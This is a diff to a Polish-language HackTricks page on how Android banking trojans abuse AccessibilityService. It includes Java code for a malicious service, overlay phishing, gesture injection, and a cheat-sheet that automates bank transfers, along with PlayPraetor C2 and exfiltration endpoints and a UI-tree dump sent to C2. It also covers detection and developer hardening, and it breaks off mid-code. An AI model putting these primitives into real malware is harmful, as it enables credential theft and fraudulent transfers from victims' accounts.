+++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
@@ -1,20 +1,20 @@
-# Nadużycie usługi dostępności Androida
+# Nadużycie Accessibility Service w Androidzie
{{#include ../../banners/hacktricks-training.md}}
## Przegląd
-`AccessibilityService` został stworzony, aby pomóc użytkownikom z niepełnosprawnościami w interakcji z urządzeniami Android. Niestety, te same **potężne API automatyzacji** (globalna nawigacja, wprowadzanie tekstu, dyspozycja gestów, okna nakładek…) mogą być wykorzystane przez złośliwe oprogramowanie do uzyskania **pełnej zdalnej kontroli** nad urządzeniem _bez uprawnień roota_.
+`AccessibilityService` został stworzony, aby pomóc użytkownikom z niepełnosprawnościami w interakcji z urządzeniami Android. Niestety te same **powerful automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) mogą zostać zbrojne przez malware, aby uzyskać **pełną zdalną kontrolę** nad urządzeniem _bez uprawnień root_.
-Nowoczesne trojany bankowe Androida i trojany zdalnego dostępu (RAT) takie jak **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i wiele innych stosują ten sam schemat:
+Nowoczesne Android banking Trojans i Remote-Access-Trojans (RATs) takie jak **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i wiele innych stosują ten sam schemat:
-1. Wykorzystać inżynierię społeczną, aby ofiara włączyła złośliwą usługę dostępności (uprawnienie *BIND_ACCESSIBILITY_SERVICE* jest uważane za "wysokiego ryzyka" i wymaga wyraźnej akcji użytkownika).
+1. Social-engineer ofiarę, aby włączyła złośliwą usługę accessibility (uprawnienie *BIND_ACCESSIBILITY_SERVICE* jest uznawane za "high-risk" i wymaga wyraźnej akcji użytkownika).
2. Wykorzystać usługę do
-* przechwytywania każdego zdarzenia UI i tekstu, który pojawia się na ekranie,
-* wstrzykiwania syntetycznych gestów (`dispatchGesture`) i globalnych akcji (`performGlobalAction`), aby zautomatyzować dowolne zadanie, które operator pragnie,
-* rysowania nakładek na pełnym ekranie na wierzchu legalnych aplikacji przy użyciu typu okna **TYPE_ACCESSIBILITY_OVERLAY** (bez monitu `SYSTEM_ALERT_WINDOW`!),
-* cichego przyznawania dodatkowych uprawnień w czasie rzeczywistym, klikając w okna dialogowe systemowe w imieniu ofiary.
-3. Ekstrahować dane lub przeprowadzać **On-Device-Fraud (ODF)** w czasie rzeczywistym, podczas gdy użytkownik patrzy na zupełnie normalny ekran.
+* capture every UI event & text that appears on screen,
+* inject synthetic gestures (`dispatchGesture`) and global actions (`performGlobalAction`) to automate any task the operator desires,
+* draw full-screen overlays on top of legitimate apps using the **TYPE_ACCESSIBILITY_OVERLAY** window type (no `SYSTEM_ALERT_WINDOW` prompt!),
+* silently grant additional runtime permissions by clicking on the system dialogs on the victim’s behalf.
+3. Eksfiltrować dane lub przeprowadzać **On-Device-Fraud (ODF)** w czasie rzeczywistym, podczas gdy użytkownik patrzy na pozornie normalny ekran.
---
@@ -34,7 +34,7 @@ android:exported="false">
android:resource="@xml/evil_accessibility_config"/>
```
-Towarzyszący plik XML definiuje, jak będzie wyglądać fałszywe okno dialogowe:
+Towarzyszący plik XML określa, jak będzie wyglądać fałszywy dialog:
```xml
```
---
-## Zdalne prymitywy automatyzacji UI
+## Zdalne prymitywy automatyzacji interfejsu użytkownika
```java
public class EvilService extends AccessibilityService {
@Override
@@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
}
}
```
-Z tymi dwoma API atakujący może:
-* Odblokować ekran, otworzyć aplikację bankową, nawigować po jej drzewie UI i złożyć formularz przelewu.
-* Akceptować każde okno dialogowe z prośbą o pozwolenie, które się pojawi.
-* Instalować/aktualizować dodatkowe APK za pomocą intencji Sklepu Play.
+Posiadając tylko te dwa API, atakujący może:
+* Odblokować ekran, otworzyć aplikację bankową, nawigować po jej drzewie UI i wysłać formularz przelewu.
+* Zaakceptować każde okno dialogowe uprawnień, które się pojawi.
+* Zainstalować/zaktualizować dodatkowe APK via the Play Store intent.
---
## Wzorce nadużyć
-### 1. Phishing przez nakładki (Zbieranie poświadczeń)
-Przezroczysty lub nieprzezroczysty `WebView` jest dodawany do menedżera okien:
+### 1. Overlay Phishing (Credential Harvesting)
+Do menedżera okien dodawany jest przezroczysty lub nieprzezroczysty `WebView`:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
@@ -87,59 +87,147 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
-Ofiara wpisuje dane uwierzytelniające w fałszywym formularzu, podczas gdy aplikacja w tle odbiera te same gesty – nigdy nie jest wyświetlany podejrzany komunikat "rysuj nad innymi aplikacjami".
+Ofiara wpisuje poświadczenia do fałszywego formularza, podczas gdy aplikacja w tle otrzymuje te same gesty — nigdy nie pojawia się podejrzany monit "draw over other apps".
-> Szczegółowy przykład: sekcja *Phishing przez nakładkę dostępności* na stronie Tapjacking.
+> Szczegółowy przykład: sekcja *Accessibility Overlay Phishing* wewnątrz strony Tapjacking.
### 2. Automatyzacja oszustw na urządzeniu
-Rodziny złośliwego oprogramowania, takie jak **PlayPraetor**, utrzymują stały kanał WebSocket, w którym operator może wydawać polecenia na wysokim poziomie (`init`, `update`, `alert_arr`, `report_list`, …). Usługa tłumaczy te polecenia na niskopoziomowe gesty, osiągając nieautoryzowane transakcje w czasie rzeczywistym, które łatwo omijają uwierzytelnianie wieloskładnikowe związane z tym urządzeniem.
+Malware families takie jak **PlayPraetor** utrzymują trwały kanał WebSocket, gdzie operator może wydawać wysokopoziomowe polecenia (`init`, `update`, `alert_arr`, `report_list`, …). Serwis tłumaczy te polecenia na niskopoziomowe gesty opisane wyżej, osiągając transakcje w czasie rzeczywistym, które łatwo omijają uwierzytelnianie wieloskładnikowe powiązane z tym urządzeniem.
-### 3. Streaming i monitorowanie ekranu
-Łącząc **MediaProjection API** z biblioteką klienta RTMP, RAT może transmitować na żywo bufor ramki do `rtmp://:1935/live/`, dając przeciwnikowi doskonałą świadomość sytuacyjną, podczas gdy silnik dostępności obsługuje interfejs użytkownika.
+### 3. Screen streaming & monitoring
+Łącząc **MediaProjection API** z biblioteką klienta RTMP, RAT może nadawać żywy framebuffer do `rtmp://:1935/live/`, dając atakującemu pełną świadomość sytuacyjną, podczas gdy silnik Accessibility steruje UI.
---
-## PlayPraetor – przepływ pracy dowodzenia i kontroli
+## PlayPraetor – command & control workflow
-1. **HTTP(S) heartbeat** – iteruj po twardo zakodowanej liście, aż jedna domena odpowie `POST /app/searchPackageName` z aktywnym C2.
-2. **WebSocket (port 8282)** – dwukierunkowe polecenia JSON:
-* `update` – wprowadź nowe conf/APK
-* `alert_arr` – skonfiguruj szablony nakładek
-* `report_list` – wyślij listę docelowych nazw pakietów
-* `heartbeat_web` – utrzymanie połączenia
-3. **RTMP (port 1935)** – transmisja na żywo ekranu/wideo.
+1. **HTTP(S) heartbeat** – iteruj po hard-coded liście aż jedna domena odpowie `POST /app/searchPackageName` z aktywnym C2.
+2. **WebSocket (port 8282)** – bidirectional JSON commands:
+* `update` – push new conf/APKs
+* `alert_arr` – configure overlay templates
+* `report_list` – send list of targeted package names
+* `heartbeat_web` – keep-alive
+3. **RTMP (port 1935)** – live screen/video streaming.
4. **REST exfiltration** –
-* `/app/saveDevice` (odcisk palca)
+* `/app/saveDevice` (fingerprint)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
-* `/app/saveCardPwd` (dane bankowe)
+* `/app/saveCardPwd` (bank creds)
-**AccessibilityService** to lokalny silnik, który przekształca te polecenia w interakcje fizyczne.
+The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions.
---
-## Wykrywanie złośliwych usług dostępności
+## Wykrywanie złośliwych accessibility services
* `adb shell settings get secure enabled_accessibility_services`
-* Ustawienia → Dostępność → *Pobrane usługi* – szukaj aplikacji, które **nie** pochodzą z Google Play.
-* Rozwiązania MDM / EMM mogą wymuszać `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) w celu zablokowania usług zainstalowanych zewnętrznie.
-* Analizuj działające usługi:
+* Settings → Accessibility → *Downloaded services* – sprawdź aplikacje, które **nie** pochodzą z Google Play.
+* MDM / EMM solutions mogą egzekwować `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) aby zablokować sideloaded services.
+* Analizuj uruchomione usługi:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
-## Rekomendacje dotyczące wzmocnienia dla deweloperów aplikacji
+## Zalecenia dotyczące hardeningu dla deweloperów aplikacji
-* Oznacz wrażliwe widoki jako `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
-* Połącz `setFilterTouchesWhenObscured(true)` z `FLAG_SECURE`, aby zapobiec przechwytywaniu dotyków/nakładek.
-* Wykrywaj nakładki, sprawdzając `WindowManager.getDefaultDisplay().getFlags()` lub API `ViewRootImpl`.
-* Odmów działania, gdy `Settings.canDrawOverlays()` **lub** aktywna jest nieufna usługa dostępności.
+* Oznacz wrażliwe widoki za pomocą `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
+* Połącz `setFilterTouchesWhenObscured(true)` z `FLAG_SECURE` aby zapobiegać tap/overlay hijacking.
+* Wykrywaj overlays poprzez odpytywanie `WindowManager.getDefaultDisplay().getFlags()` lub API `ViewRootImpl`.
+* Odmów działania gdy `Settings.canDrawOverlays()` **lub** nie-zaufana usługa Accessibility jest aktywna.
---
-## Referencje
+## ATS automation cheat-sheet (Accessibility-driven)
+Malware może w pełni zautomatyzować aplikację bankową korzystając wyłącznie z Accessibility APIs. Ogólne prymitywy:
+```java
+// Helpers inside your AccessibilityService
+private List byText(String t){
+AccessibilityNodeInfo r = getRootInActiveWindow();
+return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
+}
+private boolean clickText(String t){
+for (AccessibilityNodeInfo n: byText(t)){
+if (n.isClickable()) return n.performAction(ACTION_CLICK);
+AccessibilityNodeInfo p = n.getParent();
+if (p != null) return p.performAction(ACTION_CLICK);
+}
+return false;
+}
+private void inputText(AccessibilityNodeInfo field, String text){
+Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
+field.performAction(ACTION_SET_TEXT, b);
+}
+private void tap(float x, float y){
+Path p = new Path(); p.moveTo(x,y);
+dispatchGesture(new GestureDescription.Builder()
+.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
+}
+```
+Przykładowy przebieg (czeskie → angielskie etykiety):
+- "Nová platba" (Nowa płatność) → kliknij
+- "Zadat platbu" (Wprowadź płatność) → kliknij
+- "Nový příjemce" (Nowy odbiorca) → kliknij
+- "Domácí číslo účtu" (Krajowy numer rachunku) → ustaw fokus i `ACTION_SET_TEXT`
+- "Další" (Dalej) → kliknij → … "Zaplatit" (Zapłać) → kliknij → wprowadź PIN
+
+Plan awaryjny: twardo zakodowane współrzędne z użyciem `dispatchGesture`, gdy wyszukiwanie tekstu zawodzi z powodu niestandardowych widgetów.
+
+Również zaobserwowano: kroki przygotowawcze prowadzące do `check_limit` i `limit` przez przejście do interfejsu limitów i zwiększenie dziennych limitów przed przelewem.
+
+## Pseudo-strumieniowanie ekranu oparte na tekście
+Dla zdalnego sterowania o niskim opóźnieniu, zamiast pełnego strumieniowania wideo, zrzucaj tekstową reprezentację bieżącego drzewa UI i wielokrotnie wysyłaj ją do C2.
+```java
+private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
+if (n==null) return;
+Rect b = new Rect(); n.getBoundsInScreen(b);
+CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
+sb.append(indent).append("[").append(cls).append("] ")
+.append(txt==null?"":txt).append(" ")
+.append(b.toShortString()).append("\n");
+for (int i=0;i